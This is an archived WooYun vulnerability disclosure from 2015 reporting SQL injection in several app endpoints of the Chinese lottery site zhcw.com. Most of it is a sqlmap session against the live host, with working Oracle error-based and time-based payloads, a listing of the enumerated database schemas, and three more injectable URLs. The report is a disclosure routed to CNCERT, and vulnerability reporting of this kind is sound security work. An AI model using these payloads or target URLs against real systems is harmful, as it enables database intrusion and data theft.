当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111355

漏洞标题:中彩网APP端多处SQL注入(涉及多个数据库打包)

相关厂商:中彩网

漏洞作者: #6c6c6c

提交时间:2015-05-12 11:20

修复时间:2015-06-29 17:52

公开时间:2015-06-29 17:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-12: 细节已通知厂商并且等待厂商处理中
2015-05-15: 厂商已经确认,细节仅向厂商公开
2015-05-25: 细节向核心白帽子及相关领域专家公开
2015-06-04: 细节向普通白帽子公开
2015-06-14: 细节向实习白帽子公开
2015-06-29: 细节向公众公开

简要描述:

中彩网是“中国福利彩票发行管理中心”指定的唯一网络信息发布媒体。自1999年成立至今,经过6年多的倾力打造,中彩网已经成为全球排名第一、拥有绝对领先的访问量和用户群体的中文彩票行业垂直门户网站。

详细说明:

F:\Python26\sqlmap>sqlmap.py -u "http://app.zhcw.com/wwwroot/zhcw/jsp/do3dsjhdc.
jsp?method=submit&issueNo=*" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:26:27
[20:26:27] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[20:26:29] [INFO] resuming back-end DBMS 'oracle'
[20:26:29] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: error-based
Title: Oracle OR error-based - WHERE or HAVING clause (XMLType)
Payload: http://app.zhcw.com:80/wwwroot/zhcw/jsp/do3dsjhdc.jsp?method=submit
&issueNo=-3073' OR 1661=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(10
4)||CHR(122)||CHR(108)||CHR(113)||(SELECT (CASE WHEN (1661=1661) THEN 1 ELSE 0 E
ND) FROM DUAL)||CHR(113)||CHR(122)||CHR(105)||CHR(116)||CHR(113)||CHR(62))) FROM
DUAL) AND 'lSAl'='lSAl
Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: http://app.zhcw.com:80/wwwroot/zhcw/jsp/do3dsjhdc.jsp?method=submit
&issueNo=-9452' OR 2337=DBMS_PIPE.RECEIVE_MESSAGE(CHR(70)||CHR(89)||CHR(74)||CHR
(75),5) AND 'SdTI'='SdTI
---
[20:26:29] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[20:26:29] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[20:26:29] [INFO] fetching database (schema) names
[20:26:30] [INFO] the SQL query used returns 15 entries
[20:26:30] [INFO] retrieved: CTXSYS
[20:26:30] [INFO] retrieved: DBSNMP
[20:26:31] [INFO] retrieved: DMSYS
[20:26:31] [INFO] retrieved: EXFSYS
[20:26:32] [INFO] retrieved: MDSYS
[20:26:32] [INFO] retrieved: OLAPSYS
[20:26:33] [INFO] retrieved: ORDSYS
[20:26:33] [INFO] retrieved: OUTLN
[20:26:34] [INFO] retrieved: SYS
[20:26:34] [INFO] retrieved: SYSMAN
[20:26:35] [INFO] retrieved: SYSTEM
[20:26:35] [INFO] retrieved: TSMSYS
[20:26:36] [INFO] retrieved: WMSYS
[20:26:36] [INFO] retrieved: XDB
[20:26:37] [INFO] retrieved: ZHCWTEST
available databases [15]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] ZHCWTEST
[20:26:37] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\app.zhcw.com'
[*] shutting down at 20:26:37


第二处注入:http://app.zhcw.com/wwwroot/zhcw/jsp/ltshmtp.jsp?method=query&ISSUE_NO=*
第三处注入:http://app.zhcw.com/wwwroot/zhcw/jsp/topday.jsp?catalogName=%E5%9C%A8%E7%BA%BF%E8%AF%95%E5%88%AE*&dateFormat=MM-dd+HH%3Amm&timeType=1
第四处:http://app.zhcw.com/wwwroot/zhcw/jsp/Vote/voteAction.jsp?utilType=select&method=getVoteRankByAVG&rownum=10&catalogId=10653,10654,10655,10656,10657,10658*

漏洞证明:

修复方案:

过滤啊少年

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-05-15 17:51

厂商回复:

暂未能建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无